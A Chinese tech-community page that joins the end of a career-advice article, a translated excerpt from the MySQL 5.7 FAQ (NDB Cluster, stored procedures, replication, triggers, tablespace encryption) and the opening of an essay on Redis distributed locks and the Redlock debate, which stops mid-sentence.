上面概括说了笔者在担任相关职位时所积累的经验,希望能对大家有一定的帮助。这里再强调一下,从软件工程师到部门经理,不是一蹴而就的事情,这个要看机会。就是说,你在做相关的职位时,可能已经对高职位做了积极准备,却没有得到机会。所以,笔者是通过跳槽的方式来进行职位的调整的。这里提醒一下,大家不要频繁跳槽,一定要等到机会成熟了再进行。就是说要积极地对高职位的职责和工作内容有一定的了解之后再进行。 总之,从低职位到高职位的个人职业道路的发展,需要个人做好充足的准备,同时也要对职业道路做好规划和学习规划。这样才能在个人职业生涯中起到重要作用,才能更好地把控个人的职业道路。 原文发布时间为:2017-03-14 本文来自云栖社区合作伙伴DBAplus
编者按 为方便大家对MySQL 5.7的认识和学习,社群众译者倾力翻译了MySQL 5.7 FAQ文档,以解答大家在使用过程中的各种困惑。 由于篇幅过大,本文将摘录部分精华,需要完整版的同学请务必点击文末的链接或回复“FAQ”到DBAplus社群订阅号下载珍藏~ 文中部分内容涉及MySQL 5.7官方用户手册(以下简称“手册”),建议在阅读本文同时,登陆:https://dev.mysql.com/doc/refman/5.7/en/ 配合参考食用,效果更佳~而下载了完整版的同学则可直接点击超链接跳转至相应页面查看。 MySQL 5.7 FAQ目录一览 一、一般问题 二、存储引擎 三、SQL服务器模式 四、存储过程与函数 五、触发器 六、视图 七、INFORMATION_SCHEMA 八、Migration迁移 九、Security安全 十、MySQL Cluster 十一、中文、日文和朝鲜语字符集 十二、连接器和APIs 十三、复制 十四、MySQL企业线程池 十五、InnoDB变更缓冲区 十六、InnoDB表空间加密 十七、虚拟化支持 共计188个问答 精华摘录 Part 1 MySQL Cluster 1、哪个版本的MySQL软件支持NDB Cluster?我是否不得不使用源码编译? 在标准的MySQL Server5.7版本中NDB Cluster是不支持的。然而,MySQL NDB Cluster是作为一个单独的产品来提供。目前,生产环境以下NDB Cluster版本序列可用: NDB Cluster 7.2. 这个序列是NDB Cluster之前的一个通用版本,尽管我们推荐新部署采用NDB Cluster7.5的版本,目前来说,还是可以用于生产。最近的NDB Cluster 7.2版本可从http://dev.mysql.com/downloads/cluster/获得。 NDB Cluster 7.3. 这个序列是NDB Cluster之前的一个通用版本,尽管我们推荐新部署采用NDB Cluster7.5的版本,目前来说,还是可以用于生产。最近的NDB Cluster 7.3版本可以从http://dev.mysql.com/downloads/cluster/获得。 NDB Cluster 7.4. 这个序列是NDB Cluster最新的通用版本,它是基于NDB 7.4版本的存储引擎和MySQL5.6,尽管我们推荐新部署采用NDB Cluster7.5的版本,目前来说,还是可以用于生产。最近的NDB Cluster 7.4版本可以从http://dev.mysql.com/downloads/cluster/获得。 NDB Cluster 7.5. 这个序列是NDB Cluster最新的通用版本,它是基于NDB 7.5版本的存储引擎和MySQL5.7. NDB Cluster 7.5可用作生产。在这个序列中,生产新部署建议采用NDB Cluster7.5的版本。当前的版本是NDB Cluster7.5.5。最近的NDB Cluster 7.5版本可以从http://dev.mysql.com/downloads/cluster/获得。 任何新环境的部署,你应该使用NDB Cluster 7.5。如果你使用的是NDB Cluster的老版本,你应该尽可能快地升级到这个版本。(为了对NDB Cluster 7.5中的一些改进有大致了解,请看手册21.1.4节“MySQL NDB Cluster7.5有什么新功能”) 你可以使用以下命令来检查你的MySQL Server是否支持NDB: SHOW VARIABLES LIKE 'have_%', SHOW ENGINES, 或SHOW PLUGINS。 2、我需要什么特殊的网络来运行NDB Cluster吗?集群中的计算机如何通讯? NDB集群的目的是用于在高带宽环境中,计算机使用TCP / IP连接。其性能直接取决于集群计算机之间的连接速度。NDB集群最小连接要求包括典型的100Mb以太网网络或相当的网络。只要可用,我们建议你使用千兆以太网。 3、为了运行NDB Cluster我需要多少计算机,为什么? 一个可行的集群至少需要3台计算机。然而,一个NDB Cluster推荐的最小计算机数是4:管理节点和SQL节点各需要一个节点,另外两台计算机用作数据节点。设计两个数据节点的目的是为了提供冗余。管理节点必须运行在一个独立的机器上,万一某个数据节点故障,可以保证提供持续的仲裁服务。 为了提高吞吐量和高可用性,你应该使用多个SQL节点(连接到集群的MySQL服务器)。运行多个管理服务器也是可能的(虽然不是严格必要的)。 4、使用NDB Cluster需要多少RAM?完全使用磁盘内存是否可行? 以前NDB集群只是运行在内存中。MySQL 5.1和以后还提供将NDB集群存储在磁盘上的能力。(注意,我们没有计划将这种能力移植到以前版本)参见手册21.5.13节“NDB集群磁盘数据表”,以获取更多信息。 对于内存中的NDB表,你可以使用以下公式计算集群中的每个数据节点大致需要的内存的估计值: (SizeofDatabase × NumberOfReplicas × 1.1 ) / NumberOfDataNodes 计算更准确的内存需求需要有些限定条件,对于集群数据库中的每个表,每一行所需的存储空间(详情参见手册12.8节,“数据类型存储需求”)乘以行数。就像以下列出的,你也必须记住计算任何列索引的内存占用: NDB Cluster表上创建每个主键或哈希索引需要21-25字节/记录。这些索引使用IndexMemory。 每个排序的索引需要10字节/记录,占用的是DataMemory。 创建的主键或唯一索引会同时创建一个排序的索引,除非创建索引时指定使用HASH。换句话说: 1)集群表的主键或唯一索引通常每条记录占用31到35个字节。 2)然而,如果使用HASH来创建主键或唯一索引,那么每条记录只需要21到25个字节。 在NDB Cluster表创建过程中,对于所有的主键和唯一索引,通常使用HASH的方式比不使用HASH的方式会让更新会快很多,在一些情况下,甚至会快20%到30%。这是因为需要更少的内存(因为不会创建排序的索引),同时使用的CPU也更少(因为需要读和可能更新的索引更少)。然而,这也意味着使用范围扫描的查询需要通过其它方式来满足,否则会导致选择变慢。 当计算集群内存需求, 在最近的MySQL 5.7版本,您可能会发现一个叫ndb_size.pl的工具可用。这个Perl脚本连接到当前的(非集群)MySQL数据库,并创建一个关于“如果使用NDBCLUSTER存储引擎,这个数据库需要多少空间”的报告。有关更多信息,请参见手册21.4.25节,“ndb_size.pl - NDBCLUSTER大小需求估计量”。 尤为重要的是,要记住,每一个NDB集群表必须有一个主键。如果一个都没有定义,NDB存储引擎会自动创建一个主键,并且这个自动创建的主键不使用HASH。 在特定的时间,通过使用ndb_mgm客户端的REPORT MEMORYUSAGE命令,您可以确定有多少内存被用于存储NDB集群数据和索引,参见手册21.5.2 “NDB集群管理客户端命令”以获取更多信息。此外,当DataMemory或IndexMemory使用的内存达到80%,就会有警告写到集群日志,同样,当使用达到85%,90%等就会再次写入告警日志。 5、我能在虚拟机(比如通过VMWare、Parallels或 Xen创建的虚拟机)运行NDB Cluster节点吗? 从NDB Cluster 7.2开始,NDB Cluster就支持使用虚拟机。我们目前支持和测试使用Oracle VM。 一些NDB集群用户已经成功使用其它虚拟化产品部署NDB集群;在这种情况下,Oracle可以提供NDB集群支持,但特定于虚拟环境问题必须提到产品的供应商。 6、我尝试迁移到一个NDB Cluster数据库。装载过程过早结束并且我收到了如下错误信息:ERROR 1114: The table 'my_cluster_table' is full,为什么会发生? 原因很可能是你的设置并没有为所有表数据和索引提供足够的RAM,包括NDB存储引擎所需的主键,以及为可能存在的表定义中不包括主键的表自动创建的主键。 同样值得注意的是,所有数据节点应该有相同数量的内存,因为对于任何数据节点而言,集群中没有数据节点可以使用比最少可用内存更多的内存。例如,如果有四台电脑作为集群数据节点,三个有3 GB内存可用来存储集群数据,而另外一个数据节点只有1 GB内存,然后每个数据节点可以投入最多1 GB用于 NDB集群数据和索引。 在某些情况下,即使ndb_mgm -e "ALL REPORT MEMORYUSAGE"显示有大量空闲的DataMemory,MySQL客户端应用程序中可能返回 “Table is full”的错误。你可以强制NDB为NDB集群表创建额外的分区,因此,对于使用MAX_ROWS选项创建的表的哈希索引就有更多的内存可用。一般来说,设置MAX_ROWS为你希望存储表中行数的两倍应该就够了。 出于类似原因,有时你也可能遇到数据负载很高的数据节点的重启问题。在NDB集群7.1及以后,增加的MinFreePct参数通过保留一定比例(默认5%)的DataMemory和IndexMemory来帮助解决重启过程中的问题。这个保留内存不用于存储NDB表或数据。 7、我怎样导入一个已经存在的MySQL数据库到一个NDB Cluster? 你可以像任何其它版本的MySQL一样导入数据库到NDB Cluster。除了在这个FAQ提到的限制外,唯一的特殊要求是包含在集群中的表必须是NDB存储引擎。这意味着创建这些表必须使用ENGINE=NDB或ENGINE=NDBCLUSTER。 通过使用一个或多个ALTER TABLE语句,也可以将现有使用其它存储引擎的表转换成NDBCLUSTER存储引擎。然而,在进行转换之前,表的定义必须兼容NDBCLUSTER存储引擎。在MySQL 5.7中,也需要一个额外的方法,参见手册21.1.6“NDB集群的已知的限制”获取详细信息。 8、NDB Cluster支持IPV6吗? SQL节点(MySQL服务器)之间的连接是支持IPv6的,但是其它类型的NDB Cluster节点之间的连接必须使用IPv4。 实际上,这意味着你可以在NDB Cluster之间的复制使用IPv6,但是同一个NDB Cluster中节点的连接必须使用IPv4。更多信息,参见手册21.6.3“NDB集群复制已知的问题”。 9、在一个有多个MySQL服务器的NDB Cluster中怎样管理MySQL的用户? MySQL用户账号和权限通常不会在访问同一个集群的不同MySQL服务器之间自动传播。MySQL NDB Cluster 7.2及以后版本提供分布式的权限支持。然而权限分发并不会自动启用,你可以依据MySQL NDB Cluster文档提供的过程来激活这个功能。参见手册21.5.15节“NDB Cluster的分布式MySQL权限”。 10、我怎样备份和还原NDB Cluster? 你可以在NDB管理的客户端和ndb_restore程序中使用NDB Cluster原生的备份和恢复功能。详见手册21.5.3“在线备份NDB Cluster”和“ndb_restore-还原一个NDB Cluster备份”。 你也可以使用mysqldump和MySQL Server为备份恢复提供的传统功能。更多信息请见手册5.5.4“mysqldump-数据库的备份程序”。 Part 2 存储过程与函数 1、MySQL 5.7支持存储过程和函数吗? 是的。MySQL 5.7支持两种类型的存储例程:存储过程和存储函数。 2、有没有关于MySQL存储过程的论坛? 有。参见http://forums.mysql.com/list.php?98 3、一个给定数据库中,有办法查询所有的存储过程和存储函数吗? 有的。比如给定的数据库名为dbname,可以对INFORMATION_SCHEMA.ROUTINES 表上进行如下查询: SELECT ROUTINE_TYPE, ROUTINE_NAME FROM INFORMATION_SCHEMA.ROUTINES WHERE ROUTINE_SCHEMA='dbname'; 更多信息,参见手册24.20节“INFORMATION_SCHEMA ROUTINES 表”。 对于存储例程内包体的查询,可通过SHOW CREATE FUNCTION(对于存储函数)和 SHOW CREATE PROCEDURE(对于存储例程)语句来查询。更多信息,参见手册14.7.5.9节“查询存储过程定义”。 4、一个存储过程能否访问表? 可以。一个存储过程可根据需要来对一张或多个表进行访问。 5、能从MySQL 5.7的存储例程中返回结果集吗? 存储过程可以,但存储函数不可以。如果你在存储过程中进行一般性查询,其结果集会直接返回到客户端。为此,你需要使用比MySQL 4.1或更高版本的客户端/服务器端。这意味着需要使用MySQLi的扩展而不是旧的MySQL的扩展,比如在PHP程序中。 6、在复制时,存储过程或函数的功能如何被执行? MySQL会记录存储过程中的每个DML事件,并将其分解动作同步到备服务器中。存储过程的具体调用执行将不会被同步。 存储函数对数据的更改只记录为函数调用,而不记录其带来的操作事件。 7、有特殊安全需求的存储过程或函数如何被复制? 是的。因为从属服务器有权执行任何从主服务器读取的二进制日志,包括被复制的有特殊安全约束的存储函数。如果复制或二进制日志(为了基于时间点的恢复)记录是正常的,DBA可以用两种方式安全打开: 任何用户想创建存储函数必须被授予超级特权。 另外,DBA可以log_bin_trust_function_creators系统变量设置为1,这使得任何标准创建常规特权来创建存储功能。 8、对复制存储过程和函数的行为有什么限制吗? 不确定性(随机)或存储过程中基于时间的行为会导致不能正确地被复制。嵌入在存储过程也可能不正确地复制。从本质上讲,随机产生的结果是无法预测、无法完全复制的。因此,同步到从库的随机动作可能和主库不一致。声明存储函数为DETERMINISTIC或将系统变量log_bin_trust_function_creators设置为0将不允许random-valued操作调用。 此外,基于时间的行动不能复制到从数据库上,因为这样的行为在一个存储过程的时机并不是通过复制使用的二进制日志来再生的。它只记录DML事件和没有时间限制的因素。 最后, 对于nontransactional表,因较多DML操作(如批量插入)发生的错误,可能会引起复制问题,这些问题会导致主库中部分完成的变动在从数据库中不会做任何变动。DML的功能模块可对主库中引起错误的动作中加上IGNORE,这样同步到从数据库中的动作,将会被忽略且不会引起错误。 9、上述的限制是否影响MySQL基于时间点的恢复功能? 对复制的影响与基于时间点恢复的影响相同。 10、如何弥补上述的局限性? 你可以选择基于语句级的复制或基于行级的复制。先前复制的实现依赖基于语句级的二进制日志。基于行的二进制日志可解决前面提到的局限性。 可以使用复制的混合模式(通过--binlog-format=mixed启动服务)。通过这种混合,复制模式能智能地选择是基于语句级的复制安全可用,还是基于行级的复制更适合。 更多信息,参见手册18.2.1节“复制格式”。 Part 3 复制 1、备库是否必须一直连接到主库? 不是。备库可以关掉或断开几小时甚至几天,然后重新连接上并补上更新。例如,您可以通过拨号连接设置一个主/从关系,拨号连接只是偶尔的和短时间的在线。这意味着,在任何给定的时间,备库并不保证与主库保持同步,除非你采取一些特殊的措施。 为了确保已经断开连接的备库可以继续追赶(主库),您不能从主库删除包含尚未复制到备库信息的二进制日志文件。异步复制只有在备库能够继续从上次读取事件的点继续阅读二进制日志才能工作。 2、为了启用复制,我是否必须在主库和备库启用网络? 是的,必须在主库和备库上启用网络。如果没有启用网络,备库不能连接到主库和传输二进制日志。检查主备服务器的配置文件都没有启用skip-networking选项。 3、设置双向复制时,我应该注意哪些问题? MySQL复制当前不支持任何保证在主备库之间的分布式更新(跨服务器)的原子性的锁定协议。换句话说,客户端A对co-master 1进行更新,与此同时,在这个更新传播到co-master2之前,客户端B可以对co-master 2进行一个更新,这个(客户端B的更新操作)使得客户端A对co-master2的作用和对co-master1的作用存在变得不同的可能。 因此,当客户端A对co-master2进行更新操作,即使来自co-master2的所有的更新都已经被传播,它会产生与co-master1上不同的表。这意味着在一个双向复制关系中,你不应该链接两个服务器,除非你确信你的更新可以以任何顺序发生并安全地执行,或者除非你在客户端代码以某种方法注意避免次序混乱的更新。 你也应该意识到双向复制,考虑到更新实际上并不会提高很多性能(如果有的话)。就像只有一台服务器那样,每个服务器必须做相同数量的更新。唯一的区别,就是少一点锁争用,因为另一个服务器上更新,在一个slave线程中是串行的,甚至这个好处可能会被网络延迟所抵消。 4、我如何使用复制来提高系统的性能? 设置一个主服务器,然后将所有的写直接指向它。然后配置你的预算和机架空间允许的备库,然后在主备库之间分配读请求。你也可以在备端使用--skip-innodb, --low-priority-updates和--delay-key-write=ALL选项来启动备库,从而获得速度的提升。在这种情况下,备库会使用非事务的MyISAM表替代InnoDB表来消除事务的开销从而获得更好的速度。 5、如何使用复制来提供冗余或高可用? 如何实现冗余是完全依赖于您的应用程序和环境。高可用性解决方案(用自动故障转移)需要主动监测和自定义脚本或第三方工具提供从原来的MySQL服务器到备库的故障转移支持。 为了手工处理这个过程,您可以从失败的主库转换到一个预先配置的备库,可以通过改变应用程序跟新服务器交谈,或通过调整MySQL服务器的DNS,从失败的服务器到新服务器来实现。 更多信息和一些示例解决方案,请见手册18.3.7节“故障切换过程中的主库切换”。 Part 4 中文、日文和朝鲜语字符集 这组常见问题来源于MySQL的支持和开发团队在处理许多询问CJK(中文-日文-朝鲜语)相关问题的经验。这里只做简单呈现,具体请下载完整版阅读。 1、从哪里可以找到MySQL手册的汉语,日语,和朝鲜语的翻译? MySQL 5.6日文的手册可以从这里下载: http://dev.mysql.com/doc/. 2、从哪里可以获得MySQL关于CJK和相关的问题的帮助? 下面这些资源可用: 从https://wikis.oracle.com/display/mysql/List+of+MySQL+User+Groups可以找到MySQL用户组的列表。 与字符集相关问题的特性请求,请看http://tinyurl.com/y6xcuf。 访问MySQL字符集、排序、Unicode论坛。外语相关论坛,也可以访问http://forums.mysql.com/. Part 5 触发器 1、MySQL 5.7支持语句级或行级的触发器吗? 是的。在MySQL 5.7中,触发器是针对行级的。即触发器在对插入、更新、删除的行级操作时被触发。但是,MySQL 5.7不支持FOR EACH STATEMENT。 2、一张表可以同时具有相同触发事件和动作时间的多个触发器吗? MySQL 5.7.2,对于一个给定的表有相同的触发事件和动作时间,可以定义多个触发器。例如,你可以为一张表创建两个BEFORE UPDATE触发器。默认情况下,有相同触发事件和动作时间的触发器会按被创建的顺序所激活。对于相同触发事件和动作时间的触发器,可以在FOR EACH ROW后标注FOLLOWS 或 PRECEDES来影响触发器的执行顺序。使用FOLLOWS,新触发器在已有触发器之后激活。使用PRECEDES,新触发器在已有触发器之前激活。 3、触发器能和复制模块一起使用吗? 可以。但是,复制的工作方式取决于使用的是MySQL各版本中均有的基于语句级传统格式,还是MySQL 5.1中引入的基于行的复制格式。 当使用基于语句级的复制格式时,主库中执行的语句将会同步到从数据库中按语句执行。 当使用基于行级的复制,主数据库中触发器执行的语句会同步到到从数据库,但不会在从数据库上执行,而是将主库中触发器执行的改变同步到从数据库中。有关更多信息,请参见手册18.4.1.35节”复制和触发器“。 4、触发器在主库中触发的动作如何被同步到从数据库? 同样,这取决于是使用基于语句还是基于行级的复制。 基于语句的复制: 首先,在主库中存在的触发器将会在从数据库重新创建。一旦完成,复制将其作为标准的DML语句参于复制工作。比如,主库中的emp表,拥有AFTER插入操作的触发器。相用的表和触发器也会存在于从数据库中。复制的流程如下: 创建对EMP表的插入语句; 激活EMP表的AFTER触发器; 插入语句写入二进制日志; 复制进程会选出EMP表的插入语句并在从数据库上执行; 从数据库上将会存在AFTER触发器并激活。 基于行的复制: 当使用基于行的复制时,主库上执行触发器带来的变动将会应用在从数据库上。但在使用基于行的复制时,触发器并不真的在从数据库上执行。这是因为,如果在主从数据库都执行的同时,从数据库再次应用了主库上触发器执行带来的变动,将会在从数据库上应用两次,导致主从数据库上数据不一致。 大数据情况下,基于语句的复制和基于行的复制结果是相同的。但当主从数据库上的触发器不同时,将不能使用基于行的复制格式。(这是因为基于行级的复制,主库上触发器执行同步到从数据库上的是数据改变,而不是语句执行,并且相应的触发器也不会在从数据库上执行。)不同的是,在使用基于语句的复制时,触发器执行的任何语句都将会被应用。 更多信息,请参见手册18.4.1.35节“复制和触发器”。 Part 6 InnoDB表空间加密 1、数据会被解密给被授权可以查看它的用户吗? 是的。InnoDB表空间加密是用来为客户提供能够在数据库中透明地应用加密而不会影响现有应用程序。返回加密格式的数据将破坏大多数现有的应用程序。InnoDB表空间加密提供了加密的同时消除了传统数据库加密的解决方案中相应的开销,通常这些开销需要对应用程序,数据库触发器和视图进行成本很高的和大量的修改。 2、InnoDB表空间加密使用的是什么加密算法? InnoDB表空间加密支持高级加密标准(AES356)的基于块的加密算法。对于表空间密钥的加密,它使用的是电子码(ECB)块加密模式,对于数据加密,它使用的是密码块链接(CBC)加密模式。 3、是否可以使用第三方提供的加密算法来替代InnoDB表空间加密特性提供的加密算法? 不能,不可以使用其它的加密算法。所提供的加密算法被广泛地接受。 4、InnoDB表空间加密支持什么数据类型和数据长度? InnoDB表空间加密支持所有的数据类型,没有数据长度限制。 5、InnoDB表空间加密与MySQL已经提供的加密函数有何不同? MySQL有对称和非对称加密APIs可以用来手动加密数据库中的数据。然而,应用程序必须通过调用API函数管理加密密钥和执行所需的加密及解密操作。 InnoDB表空间加密不需要应用程序修改,对最终用户是透明的,并提供自动化、内置密钥管理功能。 原文发布时间为:2017-03-13 本文来自云栖社区合作伙伴DBAplus
网上有关Redis分布式锁的文章可谓多如牛毛了,不信的话你可以拿关键词“Redis 分布式锁”随便到哪个搜索引擎上去搜索一下就知道了。这些文章的思路大体相近,给出的实现算法也看似合乎逻辑,但当我们着手去实现它们的时候,却发现如果你越是仔细推敲,疑虑也就越来越多。 实际上,大概在一年以前,关于Redis分布式锁的安全性问题,在分布式系统专家Martin Kleppmann和Redis的作者antirez之间就发生过一场争论。由于对这个问题一直以来比较关注,所以我前些日子仔细阅读了与这场争论相关的资料。 这场争论的大概过程是这样的: 为了规范各家对基于Redis的分布式锁的实现,Redis的作者提出了一个更安全的实现,叫做Redlock。有一天,Martin Kleppmann写了一篇blog,分析了Redlock在安全性上存在的一些问题。然后Redis的作者立即写了一篇blog来反驳Martin的分析。但Martin表示仍然坚持原来的观点。随后,这个问题在Twitter和Hacker News上引发了激烈的讨论,很多分布式系统的专家都参与其中。 对于那些对分布式系统感兴趣的人来说,这个事件非常值得关注。不管你是刚接触分布式系统的新手,还是有着多年分布式开发经验的老手,读完这些分析和评论之后,大概都会有所收获。要知道,亲手实现过Redis Cluster这样一个复杂系统的antirez,足以算得上分布式领域的一名专家了。但对于由分布式锁引发的一系列问题的分析中,不同的专家却能得出迥异的结论,从中我们可以窥见分布式系统相关的问题具有何等的复杂性。实际上,在分布式系统的设计中经常发生的事情是:许多想法初看起来毫无破绽,而一旦详加考量,却发现不是那么天衣无缝。 下面,我们就从头至尾把这场争论过程中各方的观点进行一下回顾和分析。在这个过程中,我们把影响分布式锁的安全性的那些技术细节展开进行讨论,这将是一件很有意思的事情。这也是一个比较长的故事。当然,其中也免不了包含一些小“八卦”。 Redlock算法 就像本文开头所讲的,借助Redis来实现一个分布式锁(Distributed Lock)的做法,已经有很多人尝试过。人们构建这样的分布式锁的目的,是为了对一些共享资源进行互斥访问。 但是,这些实现虽然思路大体相近,但实现细节上各不相同,它们能提供的安全性和可用性也不尽相同。所以,Redis的作者antirez给出了一个更好的实现,称为Redlock,算是Redis官方对于实现分布式锁的指导规范。Redlock的算法描述就放在Redis的官网上: https://redis.io/topics/distlock 在Redlock之前,很多人对于分布式锁的实现都是基于单个Redis节点的。而Redlock是基于多个Redis节点(都是Master)的一种实现。为了能理解Redlock,我们首先需要把简单的基于单Redis节点的算法描述清楚,因为它是Redlock的基础。 基于单Redis节点的分布式锁 首先,Redis客户端为了获取锁,向Redis节点发送如下命令: SET resource_name my_random_value NX PX 30000 上面的命令如果执行成功,则客户端成功获取到了锁,接下来就可以访问共享资源了;而如果上面的命令执行失败,则说明获取锁失败。 注意,在上面的SET命令中: my_random_value是由客户端生成的一个随机字符串,它要保证在足够长的一段时间内在所有客户端的所有获取锁的请求中都是唯一的。 NX表示只有当resource_name对应的key值不存在的时候才能SET成功。这保证了只有第一个请求的客户端才能获得锁,而其它客户端在锁被释放之前都无法获得锁。 PX 30000表示这个锁有一个30秒的自动过期时间。当然,这里30秒只是一个例子,客户端可以选择合适的过期时间。 最后,当客户端完成了对共享资源的操作之后,执行下面的Redis Lua脚本来释放锁: if redis.call("get",KEYS[1]) == ARGV[1] then return redis.call("del",KEYS[1])else return 0end 这段Lua脚本在执行的时候要把前面的my_random_value作为ARGV[1]的值传进去,把resource_name作为KEYS[1]的值传进去。 至此,基于单Redis节点的分布式锁的算法就描述完了。这里面有好几个问题需要重点分析一下。 首先第一个问题,这个锁必须要设置一个过期时间。否则的话,当一个客户端获取锁成功之后,假如它崩溃了,或者由于发生了网络分割(network partition)导致它再也无法和Redis节点通信了,那么它就会一直持有这个锁,而其它客户端永远无法获得锁了。antirez在后面的分析中也特别强调了这一点,而且把这个过期时间称为锁的有效时间(lock validity time)。获得锁的客户端必须在这个时间之内完成对共享资源的访问。 第二个问题,第一步获取锁的操作,网上不少文章把它实现成了两个Redis命令: SETNX resource_name my_random_valueEXPIRE resource_name 30 虽然这两个命令和前面算法描述中的一个SET命令执行效果相同,但却不是原子的。如果客户端在执行完SETNX后崩溃了,那么就没有机会执行EXPIRE了,导致它一直持有这个锁。 第三个问题,也是antirez指出的,设置一个随机字符串my_random_value是很有必要的,它保证了一个客户端释放的锁必须是自己持有的那个锁。假如获取锁时SET的不是一个随机字符串,而是一个固定值,那么可能会发生下面的执行序列: 客户端1获取锁成功。 客户端1在某个操作上阻塞了很长时间。 过期时间到了,锁自动释放了。 客户端2获取到了对应同一个资源的锁。 客户端1从阻塞中恢复过来,释放掉了客户端2持有的锁。 之后,客户端2在访问共享资源的时候,就没有锁为它提供保护了。 第四个问题,释放锁的操作必须使用Lua脚本来实现。释放锁其实包含三步操作:'GET'、判断和'DEL',用Lua脚本来实现能保证这三步的原子性。否则,如果把这三步操作放到客户端逻辑中去执行的话,就有可能发生与前面第三个问题类似的执行序列: 客户端1获取锁成功。 客户端1访问共享资源。 客户端1为了释放锁,先执行'GET'操作获取随机字符串的值。 客户端1判断随机字符串的值,与预期的值相等。 客户端1由于某个原因阻塞住了很长时间。 过期时间到了,锁自动释放了。 客户端2获取到了对应同一个资源的锁。 客户端1从阻塞中恢复过来,执行DEL操纵,释放掉了客户端2持有的锁。 实际上,在上述第三个问题和第四个问题的分析中,如果不是客户端阻塞住了,而是出现了大的网络延迟,也有可能导致类似的执行序列发生。 前面的四个问题,只要实现分布式锁的时候加以注意,就都能够被正确处理。但除此之外,antirez还指出了一个问题,是由failover引起的,却是基于单Redis节点的分布式锁无法解决的。正是这个问题催生了Redlock的出现。 这个问题是这样的。假如Redis节点宕机了,那么所有客户端就都无法获得锁了,服务变得不可用。为了提高可用性,我们可以给这个Redis节点挂一个Slave,当Master节点不可用的时候,系统自动切到Slave上(failover)。但由于Redis的主从复制(replication)是异步的,这可能导致在failover过程中丧失锁的安全性。考虑下面的执行序列: 客户端1从Master获取了锁。 Master宕机了,存储锁的key还没有来得及同步到Slave上。 Slave升级为Master。 客户端2从新的Master获取到了对应同一个资源的锁。 于是,客户端1和客户端2同时持有了同一个资源的锁。锁的安全性被打破。针对这个问题,antirez设计了Redlock算法,我们接下来会讨论。 【其它疑问】 前面这个算法中出现的锁的有效时间(lock validity time),设置成多少合适呢?如果设置太短的话,锁就有可能在客户端完成对于共享资源的访问之前过期,从而失去保护;如果设置太长的话,一旦某个持有锁的客户端释放锁失败,那么就会导致所有其它客户端都无法获取锁,从而长时间内无法正常工作。看来真是个两难的问题。 而且,在前面对于随机字符串my_random_value的分析中,antirez也在文章中承认的确应该考虑客户端长期阻塞导致锁过期的情况。如果真的发生了这种情况,那么共享资源是不是已经失去了保护呢?antirez重新设计的Redlock是否能解决这些问题呢? 分布式锁Redlock 由于前面介绍的基于单Redis节点的分布式锁在failover的时候会产生解决不了的安全性问题,因此antirez提出了新的分布式锁的算法Redlock,它基于N个完全独立的Redis节点(通常情况下N可以设置成5)。 运行Redlock算法的客户端依次执行下面各个步骤,来完成获取锁的操作: 获取当前时间(毫秒数)。 按顺序依次向N个Redis节点执行获取锁的操作。这个获取操作跟前面基于单Redis节点的获取锁的过程相同,包含随机字符串my_random_value,也包含过期时间(比如PX 30000,即锁的有效时间)。为了保证在某个Redis节点不可用的时候算法能够继续运行,这个获取锁的操作还有一个超时时间(time out),它要远小于锁的有效时间(几十毫秒量级)。客户端在向某个Redis节点获取锁失败以后,应该立即尝试下一个Redis节点。这里的失败,应该包含任何类型的失败,比如该Redis节点不可用,或者该Redis节点上的锁已经被其它客户端持有(注:Redlock原文中这里只提到了Redis节点不可用的情况,但也应该包含其它的失败情况)。 计算整个获取锁的过程总共消耗了多长时间,计算方法是用当前时间减去第1步记录的时间。如果客户端从大多数Redis节点(>= N/2+1)成功获取到了锁,并且获取锁总共消耗的时间没有超过锁的有效时间(lock validity time),那么这时客户端才认为最终获取锁成功;否则,认为最终获取锁失败。 如果最终获取锁成功了,那么这个锁的有效时间应该重新计算,它等于最初的锁的有效时间减去第3步计算出来的获取锁消耗的时间。 如果最终获取锁失败了(可能由于获取到锁的Redis节点个数少于N/2+1,或者整个获取锁的过程消耗的时间超过了锁的最初有效时间),那么客户端应该立即向所有Redis节点发起释放锁的操作(即前面介绍的Redis Lua脚本)。 当然,上面描述的只是获取锁的过程,而释放锁的过程比较简单:客户端向所有Redis节点发起释放锁的操作,不管这些节点当时在获取锁的时候成功与否。 由于N个Redis节点中的大多数能正常工作就能保证Redlock正常工作,因此理论上它的可用性更高。我们前面讨论的单Redis节点的分布式锁在failover的时候锁失效的问题,在Redlock中不存在了,但如果有节点发生崩溃重启,还是会对锁的安全性有影响的。具体的影响程度跟Redis对数据的持久化程度有关。 假设一共有5个Redis节点:A, B, C, D, E。设想发生了如下的事件序列: 客户端1成功锁住了A, B, C,获取锁成功(但D和E没有锁住)。 节点C崩溃重启了,但客户端1在C上加的锁没有持久化下来,丢失了。 节点C重启后,客户端2锁住了C, D, E,获取锁成功。 这样,客户端1和客户端2同时获得了锁(针对同一资源)。 在默认情况下,Redis的AOF持久化方式是每秒写一次磁盘(即执行fsync),因此最坏情况下可能丢失1秒的数据。为了尽可能不丢数据,Redis允许设置成每次修改数据都进行fsync,但这会降低性能。当然,即使执行了fsync也仍然有可能丢失数据(这取决于系统而不是Redis的实现)。所以,上面分析的由于节点重启引发的锁失效问题,总是有可能出现的。为了应对这一问题,antirez又提出了延迟重启(delayed restarts)的概念。也就是说,一个节点崩溃后,先不立即重启它,而是等待一段时间再重启,这段时间应该大于锁的有效时间(lock validity time)。这样的话,这个节点在重启前所参与的锁都会过期,它在重启后就不会对现有的锁造成影响。 关于Redlock还有一点细节值得拿出来分析一下: 在最后释放锁的时候,antirez在算法描述中特别强调,客户端应该向所有Redis节点发起释放锁的操作。也就是说,即使当时向某个节点获取锁没有成功,在释放锁的时候也不应该漏掉这个节点。 这是为什么呢?设想这样一种情况,客户端发给某个Redis节点的获取锁的请求成功到达了该Redis节点,这个节点也成功执行了SET操作,但是它返回给客户端的响应包却丢失了。这在客户端看来,获取锁的请求由于超时而失败了,但在Redis这边看来,加锁已经成功了。因此,释放锁的时候,客户端也应该对当时获取锁失败的那些Redis节点同样发起请求。实际上,这种情况在异步通信模型中是有可能发生的:客户端向服务器通信是正常的,但反方向却是有问题的。 【其它疑问】 前面在讨论单Redis节点的分布式锁的时候,最后我们提出了一个疑问,如果客户端长期阻塞导致锁过期,那么它接下来访问共享资源就不安全了(没有了锁的保护)。这个问题在Redlock中是否有所改善呢?显然,这样的问题在Redlock中是依然存在的。 另外,在算法第4步成功获取了锁之后,如果由于获取锁的过程消耗了较长时间,重新计算出来的剩余的锁有效时间很短了,那么我们还来得及去完成共享资源访问吗?如果我们认为太短,是不是应该立即进行锁的释放操作?那到底多短才算呢?又是一个选择难题。 Martin的分析 Martin Kleppmann在2016-02-08这一天发表了一篇blog,名字叫"How to do distributed locking",地址如下: 